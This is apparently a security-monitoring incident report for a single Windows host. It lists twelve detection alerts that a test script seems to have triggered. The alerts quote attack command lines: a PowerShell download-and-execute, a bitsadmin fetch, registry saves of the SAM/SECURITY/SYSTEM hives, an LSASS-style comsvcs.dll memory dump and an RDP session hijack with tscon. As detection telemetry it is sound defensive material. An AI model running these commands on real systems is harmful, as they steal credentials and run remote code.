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Critical CINC-20251221-C8245A7D new

Aggregate ID: aggind:561559e2fcea400ba3601b74d64aa30b:4449997077

Incident Overview

Incident ID CINC-20251221-C8245A7D
Severity Critical (90)
Status new
Alert Count 12
Host Count 1

Timeline

First Seen 2025-12-22 06:19:36
Last Seen 2025-12-22 06:20:32
Duration 0d 0h 0m
Created 2025-12-22 08:36
Updated 2026-01-13 15:14

Kill Chain Analysis

Rec... Ini... Exe... Per... Pri... Def... Cre... Dis... Lat... Col... Com... Exf... Imp...
Observed Tactics:
Execution Defense Evasion Credential Access Lateral Movement
Techniques:
User Execution BITS Jobs OS Credential Dumping PowerShell Rundll32 Remote Desktop Protocol

Affected Hosts (1)

DESKTOP-FNUMV3U

Related Alerts (12)

Severity Status Hostname Description Tactic Command Line Time
Informational new DESKTOP-FNUMV3U A process has written a known EICAR test file. Review the files written by the triggered process. Execution "python" mega_incident_generator.py --rounds 2 --interval 30 12-22 06:20
High new DESKTOP-FNUMV3U A process attempted to download a file using bitsadmin in an unusual way. The file might be a malicious payload. Investigate the process tree. Defense Evasion bitsadmin /transfer j http://127.0.0.1/test C:\Users\User\AppData\Local\Temp\bits.exe 12-22 06:20
Critical new DESKTOP-FNUMV3U A process saved the Security Account Manager SAM or SYSTEM hive to disk. If this is unexpected, it likely indicates credential theft. Investigate the process tree. Credential Access reg save HKLM\SECURITY C:\Users\User\AppData\Local\Temp\security.hiv 12-22 06:20
Critical new DESKTOP-FNUMV3U A process saved the Security Account Manager SAM or SYSTEM hive to disk. If this is unexpected, it likely indicates credential theft. Investigate the process tree. Credential Access reg save HKLM\SECURITY C:\Users\User\AppData\Local\Temp\security.hiv 12-22 06:20
High new DESKTOP-FNUMV3U A PowerShell process downloaded and launched a remote file. This is often the result of a malicious macro designed to drop a variety of second stage payloads. Review the command line. Execution C:\WINDOWS\system32\cmd.exe /c "powershell -c "IEX (New-Object Net.WebClient).DownloadString('http://127.0.0.1/ps')"" 12-22 06:20
Critical new DESKTOP-FNUMV3U A process saved the Security Account Manager SAM or SYSTEM hive to disk. If this is unexpected, it likely indicates credential theft. Investigate the process tree. Credential Access reg save HKLM\SYSTEM C:\Users\User\AppData\Local\Temp\system.hiv 12-22 06:20
Critical new DESKTOP-FNUMV3U A process appears to be accessing credentials and might be dumping passwords. If this is unexpected, review the process tree. Credential Access rundll32 comsvcs.dll MiniDump 123 C:\Users\User\AppData\Local\Temp\dump.dmp full 12-22 06:20
High new DESKTOP-FNUMV3U Rundll32 launched with unusual arguments. This occasionally results from applications misusing rundll32, but it might be malware preparing to hollow out the process or abusing it to launch a malicious payload. Review the command line and the process tree. Defense Evasion C:\WINDOWS\system32\cmd.exe /c "rundll32 comsvcs.dll MiniDump 123 C:\Users\User\AppData\Local\Temp\dump.dmp full" 12-22 06:20
High new DESKTOP-FNUMV3U A command line indicates an attempt to hijack a remote desktop protocol session. Review the process tree. Lateral Movement tscon 1 /dest:rdp-tcp#0 12-22 06:20
High new DESKTOP-FNUMV3U Rundll32 launched with unusual arguments. This occasionally results from applications misusing rundll32, but it might be malware preparing to hollow out the process or abusing it to launch a malicious payload. Review the command line and the process tree. Defense Evasion rundll32 comsvcs.dll MiniDump 123 C:\Users\User\AppData\Local\Temp\dump.dmp full 12-22 06:20
High new DESKTOP-FNUMV3U A command line indicates an attempt to hijack a remote desktop protocol session. Review the process tree. Lateral Movement C:\WINDOWS\system32\cmd.exe /c "tscon 1 /dest:rdp-tcp#0" 12-22 06:20
Informational new DESKTOP-FNUMV3U A process has written a known EICAR test file. Review the files written by the triggered process. Execution "python" mega_incident_generator.py --rounds 2 --interval 30 12-22 06:19